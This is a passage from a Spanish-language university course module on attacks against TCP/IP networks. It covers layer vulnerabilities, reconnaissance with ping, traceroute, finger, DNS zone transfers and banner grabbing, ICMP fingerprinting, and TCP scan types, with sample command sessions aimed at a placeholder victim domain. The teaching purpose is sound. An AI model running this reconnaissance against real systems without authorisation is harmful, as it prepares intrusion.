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Introducci ón

En esta asignatura se presenta la problemática de la seguridad en las redes de

computadores y, más concretamente, en las redes TCP/IP.

La estructuracíon sigue el siguiente modelo. En primer lugar, se presenta la

probleḿatica de la seguridad en las redes TCP/IP. Cabe destacar que esta asig-

natura se centra en la problemática de la seguridad en las redes y, por lo tanto

algunos temas de seguridad que hacen referencia a procesos más espećıficos

de los propios sistemas informáticos śolo los estudiaremos sumariamente co-

mo consecuencia de la problemática de la seguridad en las redes.

Una vez hayamos visto cuáles son los eventuales problemas de seguridad en

este tipo de redes, nos centraremos en los mecanismos de prevención que

existen para a intentar minimizar la realización de los ataques descritos en el

primer ḿodulo. Veremos que, fundamentalmente, las técnicas de prevención

se basan en el filtraje de información.

Posteriormente pondremosénfasis en las técnicas especı́ficas de protección

existentes. En particular, introduciremos las nociones básicas de criptografı́a

que nos permitiŕan entender el funcionamiento de distintos mecanismos y apli-

caciones que permiten protegerse frente los ataques. En concreto nos cen-

traremos en los mecanismos de autentificación y en la fiabilidad que nos pro-

porcionan los diferentes tipos, veremos qué mecanismos de protección existen

a nivel de red y a nivel de transporte y veremos cómo podemos crear redes pri-

vadas virtuales. Por otro lado, también veremos ćomo funcionan algunas apli-

caciones seguras, como el protocolo SSH o estándares de correo electrónico

seguro.

Finalmente, y partiendo de la base que no todos los sistemas de prevención

y proteccíon de las redes TCP/IP son infalibles, estudiaremos los diferentes

mecanismos de detección de intrusos que existen y cuáles son sus arquitecturas

y funcionalidades.
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Objetivos

Globalmente, los objetivos básicos que se deben alcanzar son los siguientes:

1. Entender los distintos tipos de vulnerabilidades que presentan las redes

TCP/IP.

2. Ver qúe t́ecnicas de prevención existen contra los ataques más frecuentes.

3. Alcanzar unos conocimientos básicos del funcionamiento de las herramien-

tas criptogŕaficas ḿas utilizadas.

4. Conocer los sistemas de autentificación más importantes, identificando sus

caracteŕısticas.

5. Ver diferentes propuestas existentes para ofrecer seguridad tanto a nivel de

red, de transporte o de aplicación.

6. Conocer los diferentes sistemas de detección de intrusos.
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Introducci ón

Durante los primeros años de internet, los ataques a sistemas informáticos requerı́an pocos

conocimientos t́ecnicos. Por un lado, los ataques realizados desde el interior de la red se

basaban en la alteración de permisos para modificar la información del sistema. Por el

contrario, los ataques externos se producı́an gracias al conocimiento de las contraseñas

necesarias para acceder a los equipos de la red.

Con el paso de los años se han ido desarrollando nuevos ataques cada vez más sofisticados

para explotar vulnerabilidades tanto en el diseño de las redes TCP/IP como en la confi-

guracíon y operacíon de los sistemas inforḿaticos que conforman las redes conectadas a

internet. Estos nuevos ḿetodos de ataque se han ido automatizando, por lo que en muchos

casos śolo se necesita un conocimiento técnico muy b́asico para realizarlos. Cualquier

usuario con una conexión a internet tiene acceso hoy en dı́a a numerosas aplicaciones para

realizar estos ataques y las instrucciones necesarias para ejecutarlos.

En la mayor parte de la bibliografı́a relacionada con la seguridad en redes informáticas

podemos encontrar clasificadas las tres generaciones de ataques siguientes:

Primera generacíon: ataques f́ısicos.Encontramos aquı́ ataques que se centran en com-

ponentes electrónicos, como podrı́an ser los propios ordenadores, los cables o los disposi-

tivos de red. Actualmente se conocen soluciones para estos ataques, utilizando protocolos

distribuidos y de redundancia para conseguir una tolerancia a fallos aceptable.

Segunda generacíon: ataques sint́acticos.Se trata de ataques contra la lógica operativa

de los ordenadores y las redes, que quieren explotar vulnerabilidades existentes en el

software, algoritmos de cifrado y en protocolos. Aunque no existen soluciones globa-

les para contrarrestar de forma eficiente estos ataques, podemos encontrar soluciones cada

vez ḿas eficaces.

Tercera generacíon: ataques seḿanticos.Finalmente, podemos hablar de aquellos ata-

ques que se aprovechan de la confianza de los usuarios en la información. Este tipo de

ataques pueden ir desde la colocación de informacíon falsa en boletines informativos y

correos electŕonicos hasta la modificación del contenido de los datos en servicios de con-

fianza, como, por ejemplo, la manipulación de bases de datos con información ṕublica,

sistemas de información burśatil, sistemas de control de tráfico áereo, etc.

Antes de pasar a hablar detalladamente de como evitar estos ataques desde un punto de

vista ḿas t́ecnico, introduciremos en este módulo algunas de las deficiencias tı́picas de

los protocolos TCP/IP y analizaremos algunos de los ataques más conocidos contra esta

arquitectura.
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Objectivos

En este ḿodulo did́actico el estudiante encontrará los recursos necesarios para alcanzar los

siguientes objetivos:

1) Exponer los problemas de seguridad en las redes TCP/IP a partir de algunos ejemplos

de vulnerabilidades en sus protocolos básicos.

2) Analizar algunas de las actividades previas realizadas por los atacantes de redes TCP/IP

para conseguir sus objetivos.

3) Aprender ćomo funcionan las técnicas desniffingen redes TCP/IP para comprender el

peligro que comportan en la seguridad de una red local.

4) Estudiar con ḿas detalle algunos ataques concretos contra redes TCP/IP, como pueden

ser los ataques de denegación de servicio y las deficiencias de programación.
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1.1. Seguridad en redes TCP/IP

.

Durante la d́ecada de los 60, dentro del marco de la guerra frı́a, la Agencia de Proyectos

de Investigacíon Avanzada del Departamento de Defensa de los Estados Unidos (DARPA)

se plantéo la posibilidad de que un ataque afectara a su red de comunicaciones y financió

equipos de investigación en distintas universidades con el objetivo de desarrollar una red

de ordenadores con una administración totalmente distribuida.

Como resultado de la aplicación de sus estudios en redes de conmutación de paquetes, se

créo la denominada red ARPANET, de carácter experimental y altamente tolerable a fallos.

Más adelante, a mediados de los 70, la agencia empezó a investigar en la interconexión de

distintas redes, y en 1974 estableció las bases de desarrollo de la familia de protocolos que

se utilizan en las redes que conocemos hoy en dı́a como redes TCP/IP.

Red

Modelo TCP/IP

Internet

Transporte

Aplicación

Red

Internet

Transporte

Aplicación

Red

La familia de protocolos TCP/IP se divide en las cuatro capas siguientes:

-* En inglés, Local Area
Network.
-** En inglés, Wide Area
Network.1) Capa de red. Normalmente está formada por una red LAN* o WAN** (de conexión

punto a punto) homoǵenea. Todos los equipos conectados a internet implementan esta

capa. Todo lo que se encuentra por debajo de la IP es la capa de red fı́sica o, simplemente,

capa de red.

 FUOC • XP04/90789/00892



FUOC · P03/75070/02121 6 Ataques contra redes TCP/IP

2) Capa de internet (o capa deinternetworking) . Da unidad a todos los miembros de la

red y, por lo tanto, es la capa que permite que todos se puedan interconectar, independien-

temente de si se conectan mediante lı́nea telef́onica o mediante una red local Ethernet. La

direccíon y el encaminamiento son sus principales funciones. Todos los equipos conecta-

dos a internet implementan esta capa.

3) Capa de transporte.Da fiabilidad a la red. El control de flujo y de errores se lleva a

cabo principalmente dentro esta capa, que sólo es implementada por equipos usuarios de

internet o por terminales de internet. Los dispositivos de encaminamiento* (encaminado-

res) no la necesitan.

* En inglés, routers.
4) Capa de aplicacíon. Engloba todo lo que hay por encima de la capa de transporte. Es

la capa en la que encontramos las aplicaciones que utilizan internet: clientes y servidores

de web, correo electrónico, FTP, etc. Śolo es implementada por los equipos usuarios de

internet o por terminales de internet. Los dispositivos de encaminamiento no la utilizan.

Como ya hemos comentado, sólo los equipos terminales implementan todas las capas. Los

equipos intermediośunicamente implementan el nivel de red y el nivel IP:

Situación de las capas de la red Internet

Internet

Transporte

Aplicación

Red X X

Internet

X X

Internet Internet

Transporte

Aplicación

Red

EstaciónEncaminador Encaminador

Red Internet

Estación

En cada una de las capas expuestas encontramos protocolos distintos. La situación relativa

Para profundizar en los
protocolos TCP/IP, mirad los
apartados 1.4, 1.10 y 29.3 de
la obra:
D.E. Comer (1995).
internetworking *with TCP/IP
(Volumen I: Principies,
Protocolos and Architecture).
Prentice Hall.

de cada protocolo en las diferentes capas se muestra en la siguiente figura:
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Protocolos y capas de Internet

Internet

Transporte

Aplicación

Red

HTTP Telnet SMTP DNS

TCP UDP

ICMP

IP

ARP

Driver

de red

Tarjeta

de red

Capa Protocolos

Como ya se ha adelantado, en cada capa del modelo TCP/IP pueden existir distintas vul-

nerabilidades y un atacante puede explotar los protocolos asociados a cada una de ellas.

Cada d́ıa se descubren nuevas deficiencias, la mayorı́a de las cuales se hacen públicas por

organismos internacionales, tratando de documentar, si es posible, la forma de solucionar

y contrarestar los problemas.

A continuacíon presentamos algunas de las vulnerabilidades más comunes de las distintas

capas que veremos con más detalle a lo largo de este módulo:

1) Vulnerabilidades de la capa de red. Las vulnerabilidades de la capa de red están Ataques f́ısicos

Este tipo de ataques pueden
llegar a ser muy difı́ciles de
realizar, ya que generalmente
requieren un acceso fı́sico a
los equipos que se quieren
atacar. De ahı́ que no los
trataremos en este módulo
didáctico.

estrechamente ligadas al medio sobre el que se realiza la conexión. Esta capa presenta

problemas de control de acceso y de confidencialidad.

Son ejemplos de vulnerabilidades a este nivel los ataques a las lı́neas punto a punto: desvı́o

de los cables de conexión hacia otros sistemas, interceptación intrusiva de las comunicaci-

ones (pinchar la lı́nea), escuchas no intrusivas en medios de transmisión sin cables, etc.

2) Vulnerabilidades de la capa internet. En esta capa se puede realizar cualquierEscuchas de red ...

... (en inglés, sniffing).
Pueden realizarse mediante
aplicaciones que se conocen
con el nombre de sniffers.
Ved el apartado Escuchas de
red de este mismo módulo
para más información.

ataque que afecte un datagrama IP. Se incluyen como ataques contra esta capa las técnicas

desniffing, la suplantacíon de mensajes, la modificación de datos, los retrasos de mensajes

y la denegacíon de mensajes.

Cualquier atacante puede suplantar un paquete si indica que proviene de otro sistema. La

suplantacíon de un mensaje se puede realizar, por ejemplo, dando una respuesta a otro

mensaje antes de que lo haga el suplantado.
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En esta capa, la autenticación de los paquetes se realiza a nivel de máquina (por dirección Ataques de suplantacíon ...

... (en inglés Spoofing
attacks). Mirad la sección
Suplantación de ARP del
apartado Escuchas de red de
este mismo módulo para ver
un ejemplo de ataque de
suplantación.

IP) y no a nivel de usuario. Si un sistema suministra una dirección de ḿaquina erŕonea,

el receptor no detectará la suplantación. Para conseguir su objetivo, este tipo de ataques

suele utilizar otras técnicas, como la predicción de ńumeros de secuencia TCP, el envene-

namiento de tablas caché, etc.

Por otro lado, los paquetes se pueden manipular si se modifican sus datos y se reconstruyen

de forma adecuada los controles de las cabeceras. Si esto es posible, el receptor será inca-

paz de detectar el cambio.

3) Vulnerabilidades de la capa de transporte. La capa de transporte transmite infor-Ataques de denegación de
servicio ...

... (en inglés Denial of
Service attacks o DoS). Mirar
el apartado sobre Ataques de
denegación de servicio de
este mismo módulo para más
información.

macíon TCP o UDP sobre datagramas IP. En esta capa podamos encontrar problemas de

autenticacíon, de integridad y de confidencialidad. Algunos de los ataques más conocidos

en esta capa son las denegaciones de servicio debidas a protocolos de transporte.

En cuanto a los mecanismos de seguridad incorporados en el diseño del protocolo de TCP

(como las negociaciones involucradas en el establecimiento de una sesión TCP), existe una

serie de ataques que aprovechan ciertas deficiencias en su diseño. Una de las vulnerabili-

dades ḿas graves contra estos mecanismos de control puede comportar la posibilidad de

interceptacíon de sesiones TCP establecidas, con el objetivo de secuestrarlas y dirigirlas a

otros equipos con fines deshonestos.

Estos ataques de secuestro se aprovechan de la poca exigencia en el protocolo de inter-

cambio de TCP respecto a la autenticación de los equipos involucrados en una sesión. Aśı,

si un usuario hostil puede observar los intercambios de información utilizados durante el

inicio de la sesíon y es capaz de interceptar conéxito una conexíon en marcha con todos

los paŕametros de autenticación configurados adecuadamente, podrá secuestrar la sesión.

4) Vulnerabilidades de la capa de aplicacíon. Como en el resto de niveles, la capa de

aplicacíon presenta varias deficiencias de seguridad asociadas a sus protocolos. Debido

al gran ńumero de protocolos definidos en esta capa, la cantidad de deficiencias presentes

tambíen seŕa superior al resto de capas. Algunos ejemplos de deficiencias de seguridad a

este nivel podŕıan ser los siguientes:

• Servicio de nombres de dominio. Normalmente, cuando un sistema solicita cone-

* Estos ataques de
suplantación de DNS se
conocen con el nombre de
spoofing de DNS.

xión a un servicio, pide la dirección IP de un nombre de dominio y envı́a un paquete

UDP a un servidor DNS; entonces,éste responde con la dirección IP del dominio so-

licitado o una referencia que apunta a otro DNS que pueda suministrar la dirección IP

solicitada.

Un servidor DNS debe entregar la dirección IP correcta pero, además, tambíen puede

entregar un nombre de dominio dada una dirección IP u otro tipo de información.
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En el fondo, un servidor de DNS es una base de datos accesible desde internet. Por

lo tanto, un atacante puede modificar la información que suministra ésta base de datos

o acceder a información sensible almacenada en la base de datos por error, pudiendo

obtener informacíon relativa a la topoloǵıa de la red de una organización concreta (por

ejemplo, la lista de los sistemas que tiene la organización).

• Telnet. Normalmente, el servicio Telnet autentica al usuario mediante la solicitud

del identificador de usuario y su contraseña, que se transmiten en claro por la red.

Aśı, al igual que el resto de servicios de internet que no protegen los datos mediante

mecanismos de protección**, el protocolo de aplicación Telnet hace posible la captura

de aplicacíon sensible mediante el uso de técnicas desniffing.

** Mirad el módulo
Mecanismos de protección
de este mismo material para
más información.

Actualmente existen otros protocolos a nivel de aplicación (como, por ejemplo, SSH)

para acceder a un servicio equivalente a Telnet pero de manera segura (mediante auten-

ticación fuerte). Aun aśı, el hecho de cifrar el identificador del usuario y la contraseña

no impide que un atacante que las conozca acceda al servicio.

• File Transfer Protocol. Al igual que Telnet, FTP es un protocolo que envı́a la infor-

macíon en claro (tanto por el canal de datos como por el canal de comandos). Ası́ pues,

al env́ıar el identificador de usuario y la contraseña en claro por una red potencialmente

hostil, presenta las mismas deficiencias de seguridad que veı́amos anteriormente con

el protocolo Telnet.

Aparte de pensar en mecanismos de protección de informacíon para solucionar el pro-

blema, FTP permite la conexión ańonima a una zona restringida en la cual sólo se

permite la descarga de archivos. De este modo, se restringen considerablemente los

posibles problemas de seguridad relacionados con la captura de contraseñas, sin limi-

tar una de las funcionalidades más interesantes del servicio.

• Hypertext Transfer Protocol. El protocolo HTTP es el responsable del servicioWorld

Wide Web. Una de sus vulnerabilidades más conocidas procede de la posibilidad de en-

trega de información por parte de los usuarios del servicio. Esta entrega de información

desde el cliente de HTTP es posible mediante la ejecución remota de ćodigo en la parte

del servidor.

La ejecucíon de este ćodigo por parte del servidor suele utilizarse para dar el formato

* Mirad el capı́tulo
Deficiencias de programación
de este mismo módulo
didáctico para más
información.

adecuado tanto a la información entregada por el usuario como a los resultados de-

vueltos (para que el navegador del cliente la pueda visualizar correctamente). Si este

código que se ejecuta presenta deficiencias de programación, la seguridad del equipo

en el que esté funcionando el servidor se podrá poner en peligro*.

 FUOC • XP04/90789/00892



FUOC · P03/75070/02121 10 Ataques contra redes TCP/IP

1.2. Actividades previas a la realizacíon de un ataque

.

Previamente a la planificación de un posible ataque contra uno o más equipos de una red

TCP/IP, es necesario conocer el objetivo que hay que atacar. Para realizar esta primera fase,

es decir, para obtener toda la información posible de la v́ıctima, seŕa necesario utilizar una

serie de t́ecnicas de obtención y recoleccíon de informacíon.

A continuacíon veremos, con algunos ejemplos sencillos, algunas de las técnicas existentes

que tanto los administradores de una red como los posibles atacantes, pueden utilizar para

realizar la fase de recogida y obtención de informacíon previa a un ataque.

1.2.1. Utilizacíon de herramientas de administracíon

La fase de recogida de información podŕıa empezar con la utilización de todas aquellas Evitar la extracci ón de
informaci ón

Una posible solución para
proteger los sistemas de
nuestra red contra esta
extracción de información
mediante herramientas de
administración es la
utilización de sistemas
cortafuegos. Consultad el
siguiente módulo didáctico
para más información sobre
filtrado de paquetes y
sistemas cortafuegos.

aplicaciones de administración que permitan la obtención de informacíon de un sistema

como, por ejemplo,ping, traceroute, whois, finger, rusers, nslookup, rcpinfo, telnet, dig,

etc.

La simple ejecucíon del comandoping contra la direccíon IP asociada a un nombre de

dominio podŕıa ofrecer al atacante información de gran utilidad. Para empezar, esta infor-

macíon le permitiŕa determinar la existencia de uno o más equipos conectados a la red de

este dominio.

Una vez descubierta la existencia de, como mı́nimo, uno de los equipos del dominio, el

atacante podrı́a obtener información relacionada con la topologı́a o la distribucíon f́ısica y

lógica de la red, mediante alguna aplicación de administración como, por ejemplo,trace-

route.

Aunquetraceroutees una herramienta de administración pensada para solucionar proble-

mas de red, también se puede utilizar con objetivos deshonestos. Por ejemplo,traceroute

se puede emplear para tratar de averiguar qué sistemas existen entre distintos equipos (en

este caso, entre el ordenador del atacante y el equipo que se quiere atacar).

* En inglés, router.

El funcionamiento detraceroutese basa en la manipulación del campoTTL de la cabecera

IP de un paquete, de forma que es capaz de determinar uno a uno los saltos por los que

un determinado paquete avanza por la red TCP/IP. El campoTTL act́ua como un conta-

dor de saltos, viéndose reducido en una unidad al ser reenviado por cada dispositivo de

encaminamiento.
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Aśı, mediantetraceroutese puede llegar a obtener una lista de los elementos de la red

recorridos desde una ubicación de origen hasta el sistema de destino, como muestra el

siguiente ejemplo:

Existen herramientas gráficas
con una funcionalidad similar
a traceroute, que permiten
visualizar las
correspondientes
asociaciones de cada
elemento IP y con su
ubicación geográfica.

[root@atacante /]$ traceroute -n www.vitima.com

traceroute to www.vitima.com (218.73.40.217),

30 hops max, 38 byte packets

1 80.12.14.92 1.091 ms  1.203 ms  2.140 ms

1 80.12.14.1  2.175 ms  2.319 ms  2.155 ms

2 80.12.56.13  12.063 ms 14.105 ms 13.305 ms

.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..

.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..

.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..

.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..

10 218.73.40.217 30.025 ms 28.205 ms 28.202 ms

Como veremos ḿas adelante, el uso del protocolo ICMP (que utilizan tantoping como

traceroute) tambíen puede permitir obtener información adicional, como la franja horaria

del sistema de destino o la máscara de red empleada.

Descubrimiento de usuarios

Otra informacíon relevante de un sistema es el nombre de los usuarios que tienen acceso

a estos equipos. Una utilidad que puede ayudar al atacante a obtener estos datos es la

herramientafinger: El servicio finger

Dada la información que
proporciona este servicio,
muchos sistemas no lo tienen
activado.

[root@atacante /]$ finger -l @ www.victima.com

[www.victima.com]

Login name: root (messages off)

Directory: /root Shell: /bin/bash

On since Mar 11 12:04:32 on pts/1 from

dummy.victima.com

New mail received Mon Mar 8 13:12:05 2001;

No Plan.

Mediantefinger, el atacante podrı́a realizar varias pruebas para tratar de descubrir la exis-

tencia de usuarios válidos. Ḿas adelante, y con la información obtenida, podrı́a probar

distintas contrasẽnas de usuario con la finalidad de obtener un acceso remoto al sistema

utilizando, por ejemplo, un cliente deTelneto deSSH.
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Informaci ón de dominio

Durante esta primera etapa de recogida de información, el atacante también trataŕa de ob-

tener toda aquella información general relacionada con la organización que hay detŕas de

la red que se quiere atacar. La recogida de esta información puede empezar extrayendo la

informacíon relativa a los dominios asociados a la organización, aśı como las subredes cor-

respondientes. Esto puede obtenerse fácilmente mediante consultas al servicio de nombre

de dominios (DNS).

Si el servidor que ofrece la información de este dominio no se ha configurado adecuada-

mente, es posible realizar una consulta de transferencia de zona completa, lo cual permitirá

obtener toda la información de traduccíon de direcciones IP a nombres de máquina. Este

tipo de consulta puede realizarse con las utilidadeshost, dig y nslookup, entre otras:

[root@atacante /]$ host -l victima.com

www.victima.com has address 218.73.40.217

www.victima.com host information "Pentium III" "Linux"

ftp.victima.com has address 218.73.40.81

ftp.victima.com host information "Pentium II" "FreeBSD"

.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..

.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..

.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..

[root@atacante /]$ host -l victima.com > victima.com.txt

Entre la informacíon encontrada, el atacante podrı́a encontrar información sensible como,

por ejemplo, relaciones entre sistemas de la red o subredes, el objetivo para el que se

utilizan los mismos, el sistema operativo instalado en cada equipo, etc.

Cadenas identificativas

A medida que vaya encontrando nuevos sistemas, el atacante irá complementando la in-

formacíon recogida con toda aquella información que pueda serle de utilidad para explotar

posibles deficiencias en la seguridad de la red. Una primera fuente de información podŕıa

ser, por ejemplo, la información que ofrecen las cadenas de texto que generalmente apare-

ce al conectarse a un determinado servicio. Estas cadenas, aparte de identificar cada uno

de los servicios ofrecidos por estos equipos, podrı́an indicar el nombre y la versión de la

aplicacíon que se está ejecutando detrás de dicho servicio:

[root@atacante /]$ ftp ftp.victima.com

Connected to ftp.victima.com (218.73.40.81).

220 ProFTPD 1.2.4 Server (VICTIMA FTP Server)

Name (ftp.victima.com:root):

.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..

.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..

.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..
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[root@atacante /]$ telnet www.victima.com 80

Trying 218.73.40.217...

Connected to www.victima.com.

Escape character is '^]'.

GET / HTTP1.1

HTTP/1.1 200 OK

Date: Wed, 12 Mar 2003 15:07:53 GMT

Server: Apache/1.3.23 (Unix) mod_ssl/2.8.6 OpenSSL/0.9.6c

.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..

.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..

.. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. .. ..

Como vemos en estos dos ejemplos, utilizandoúnicamente un cliente deFTP y un cliente

deTelnet, el atacante puede hacerse una idea de las aplicaciones (y de sus respectivas ver-

siones) que la red del dominiovictima.com est́a utilizando para ofrecer sus servicios.

En el ejemplo mostrado, el atacante habrı́a descubierto que detrás de los servicios FTP

y HTTP que ofrece la red existe un servidor de FTP llamadoProFTPD Server(en su

versíon 1.2.4) y un servidor de HTTP llamadoApache(en su versíon 1.3.23) compilado

para funcionar en un sistema Unix. La información del servidor de HTTP también le

muestra que el servidor Apache está utilizando la libreŕıa criptogŕafica OpenSSL (en su

versíon 0.9.6c) para poder ofrecer la versión segura de HTTP por medio del protocolo

criptogŕafico SSL (HTTPS) mediante la utilización del ḿodulo mod ssl (en su versíon

2.8.6).

Grupos de noticias y buscadores de internet

Finalmente, esta primera fase de recogida de información mediante herramientas de admi-Perfil humano de la
organización

Muchas veces los propios
administradores de la red
pueden divulgar, sin darse
cuenta, información sensible
de sus sistemas cuando
utilizan listas de correo o
grupos de noticias públicos.
Al hacer preguntas, o al
contestar otras, pueden
poner en peligro los equipos
de su red al dar públicamente
ejemplos a partir de la
información de sus sistemas.

nistracíon suele finalizar realizando una serie de consultas en grupos de noticias, buscado-

res de ṕaginas web o meta buscadores. Mediante esta consultas, el atacante puede obtener

informacíon emitida por los usuarios de la organización asociada a la red que desea ata-

car. Una simple b́usqueda de la cadena@victima.com en http://groups.goo-

gle.com o http://www.google.com puede ofrecer al atacante detalles de interés,

como podŕıan ser los sistemas operativos existentes en la red, tecnologı́as y servidores uti-

lizados, el conocimiento en cuanto a temas de seguridad por parte de los administradores,

etc.
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1.2.2. Búsqueda dehuellas identificativas

Aparte de la utilizacíon de herramientas de administración y servicios de internet, existen

técnicas ḿas avanzadas que permiten extraer información más precisa de un sistema o de

una red en concreto.

.

La utilización de estas técnicas se conoce con el nombre defingerprinting, es decir,

obtencíon de la huella identificativa de un sistema o equipo conectado a la red.

Identificación de mecanismos de control TCP

La huella identificativa que un atacante querrı́a obtener de los sistemas de una red hace

referencia a toda aquella información de la implementación de pila TCP/IP de los mismos.

En primer lugar, esta información le permitiŕa descubrir de forma muy fiable el sistema

operativo que se ejecuta en la máquina analizada. Por otro lado, estos datos, junto con

la versíon del servicio y del servidor obtenidos anteriormente, facilitarán al atacante la

búsqueda de herramientas necesarias para realizar, por ejemplo, una explotación de un

servicio contra algunos de estos sistemas.

* En inglés, TCP three-way
handshake.

La mayor parte de las técnicas para obtener esta huella identificativa se basan en la infor-

macíon de la pila TCP/IP que puede obtenerse a partir de los mecanismos de control del

intercambio de tres pasos propio del protocolo TCP/IP.

El protocolo TCP es un protocolo de la capa de transporte que asegura que los datos sean

enviados correctamente. Esto significa que se garantiza que la información recibida se

corresponda con la información enviada y que los paquetes sean ensamblados en el mismo

orden en que fueron enviados.

Generalmente, las caracterı́sticas de implementación de los mecanismos de control in-Los RFC ...

... (en inglés, Requests for
Comments ) son un conjunto
de documentos técnicos y
notas organizativas sobre
internet (originalmente sobre
ARPANET). Mirad
http://www.ietf.org
para más información.

corporados en el diseño de TCP en pila TCP/IP de un sistema operativo se basa en la

interpretacíon que los desarrolladores realizan de los RFC.

.

La interpretacíon de los RFC (y por lo tanto, las caracterı́sticas propias de imple-

mentacíon) puede ser muy distinta en cada sistema operativo (incluso en diferentes

versiones de un mismo sistema operativo). Ası́ pues, la probabilidad de acierto del

sistema operativo remoto mediante esta información es muy elevada.
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Identificación de respuestas ICMP

Aunque el objetivo original del protocolo ICMP es el de notificar errores y condicionesICMP

El protocolo ICMP es el
encargado de realizar el
control de flujo de los
datagramas IP que circulan
por una red TCP/IP. Este
protocolo consta de varias
funcionalidades que permiten
realizar desde la
comunicación de situaciones
con anomalı́as (por ejemplo,
para indicar que no se ha
podido realizar el entrega de
un datagrama IP) hasta la
comprobación del estado de
una máquina en la red.

inusuales (que requieren una especial atención respecto al protocolo IP), es posible poder

realizar un uso indebido de este protocolo para obtener huellas identificativas de un sistema

remoto.

Comentaremos a continuación algunos ejemplos de cómo obtener estas huellas a partir de

las distintas respuestas ofrecidas mediante el tráfico ICMP:

• ICMP echo. Como hemos visto anteriormente, el uso de tráfico ICMP de tipoecho

permite la exploración de sistemas activos. Ası́, con esta exploración se pretende iden-

tificar los equipos existentes dentro de la red que se quiere explorar, normalmente

accesibles desde internet.

.

El comando ping puede informar, mediante paquetes ICMP de tipos

echo-request y echo-reply , sobre si una determinada dirección IP est́a o

no activa.

El campoTTL, utilizado en este intercambio de paquetesecho de ICMP, suele ser

inicializado de forma distinta según el sistema operativo que haya detrás del equipo.

Por otra parte, cuando se envı́a un paquete ICMPecho-request hacia la direc-

ción de difusíon (broadcast), se consigue que con unúnico paquete enviado todos los

equipos respondan con un paquete ICMP de tipoecho-reply .

.

Esta caracterı́stica no es propia de todos los sistemas operativos. Ası́, por ejemplo,

puede estar presente en algunas variantes de sistemas operativos Unix, mientras

que los sistemas operativos de Microsoft no responden a este tipo de paquetes.

Estas dos informaciones, el número de TTL inicial y la respuesta a unpingenviado por

difusión, podŕıa ser de utilizado como una primera huella identificativa de los sistemas

de la red.

• ICMP timestamp.Mediante la transmisión de un paquete ICMP de tipotimestamp-

request , si un sistema está activo, se recibiŕa un paquete de tipotimestamp-reply ,

indicando si es posible conocer la referencia de tiempo en el sistema de destino.
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.

La decisíon de responder o no a estos paquetes depende de la implementación. Al-

gunos sistemas operativos Windows sı́ responden, mientras que otros no lo hacen.

No obstante, la mayorı́a de los sistemas operativos Unix sı́ que suelen implemen-

tarlo.

Seǵun si los sistemas de la red responden o no ante esta petición, su huella identificativa

apuntaŕa a un posible sistema o a otro.

• ICMP information. La finalidad de los paquetes ICMP de tipoinformation-

request y su respuesta asociada,information-reply , consiste en permitir que

ciertos equipos que no disponen de disco puedan extraer su propia configuración, au-

toconfigurarse en el momento de inicio, obtener su dirección IP, etc.

.

Aunque las recomendaciones de seguridad indican que los sistemas operativos no

debeŕıan generar este tipo de paquetes ni responder a ellos, la realidad de las im-

plementaciones existentes es otra.

La respuesta, en lugar de indicar la dirección IP de la red en el campo de origen,

indica la direccíon IP del equipo. Algunos sistemas operativos responderánúnicamente

cuando la dirección IP de destino del paquete tenga el valor de una dirección IP de

confianza. Otros sistemas, ası́ como muchos dispositivos de red, implementan distintos

métodos de respuesta ante este tipo de paquetes. Todas estas diferencias se pueden

utilizar en el momento de confeccionar la huella identificativa.

1.2.3. Exploracíon de puertos

La exploracíon de puertos* es una técnica ampliamente utilizada para identificar los

* En inglés, Port Scanning.servicios que ofrecen los sistemas de destino. Suele ser laúltima de las actividades previas

a la realizacíon de un ataque.

** Mirad el capı́tulo
Deficiencias de programación
de este mismo módulo
didáctico para más
información.

.

La exploración de puertospuede permitir el reconocimiento de los servicios ofre-

cidos por cada uno de los equipos encontrados en la red escogida. Con esta infor-

macíon, el atacante podrı́a realizar posteriormente una búsqueda deexploitsque le

permitiera un ataque de intrusión en el sistema analizado**.
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Exploración de puertos TCP

Aparte de ser de utilidad para obtener la huella identificativa de un sistema conectado a la

red, la exploracíon de puertos TCP se puede utilizar para descubrir si dicho sistema ofrece

o no un determinado servicio.

Existe un grande ńumero de t́ecnicas para realizar esta exploración de puertos TCP. Entre

las ḿas conocidas, podemos destacar las siguientes:

• TCP connect scan.Mediante el establecimiento de una conexión TCP completa (com-

pletando los tres pasos del establecimiento de la conexión) la exploracíon puede ir ana-

lizando todos los puertos posibles. Si la conexión se realiza correctamente, se anotará

el puerto como abierto (realizando una suposición de su servicio asociado según el

número de puerto).

• TCP SYN scan.Enviandoúnicamente paquetes de inicio de conexión (SYN) por cada

uno de los puertos que se quieren analizar se puede determinar siéstos est́an abiertos

o no. Recibir como respuesta un paqueteRST-ACK significa que no existe ningún

servicio que escuche por este puerto.

Por el contrario, si se recibe un paqueteSYN-ACK, podemos afirmar la existencia de

un servicio asociado a dicho puerto TCP. En este caso, se enviará un paqueteRST-ACK

para no establecer conexión y no ser registrados por el sistema objetivo, a diferencia

del caso anterior (TCP connect scan).

• TCP FIN scan.Al enviar un paqueteFIN a un puerto, deberı́amos recibir un paquete

de reset (RST) śı dicho puerto está cerrado. Esta técnica se aplica principalmente sobre

implementaciones de pilas TCP/IP de sistemas Unix.

• TCP Xmas Tree scan.Esta t́ecnica es muy similar a la anterior, y también se obtiene

como resultado un paquete de reset si el puerto está cerrado. En este caso se envı́an

paquetesFIN , URGy PUSH.

• TCP Null scan.En el caso de poner a cero todos los indicadores de la cabecera TCP,

la exploracíon debeŕıa recibir como resultado un paquete de reset en los puertos no

activos.

.

La mayor parte de aplicaciones para realizar exploración de puertos TCP suelen

ser ruidosas, es decir, no intentan esconder lo que se está analizando la red. Esto

suele ser ası́ porque se presume que o bien nadie está revisando la actividad de

exploracíon o que, utilizando un equipo comprometido, nadie podrá descubrir el

equipo desde el que realmente se realiza la exploración de puertos.
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Exploración de puertos UDP

.

Mediante la exploración de puertos UDP es posible determinar si un sistema está

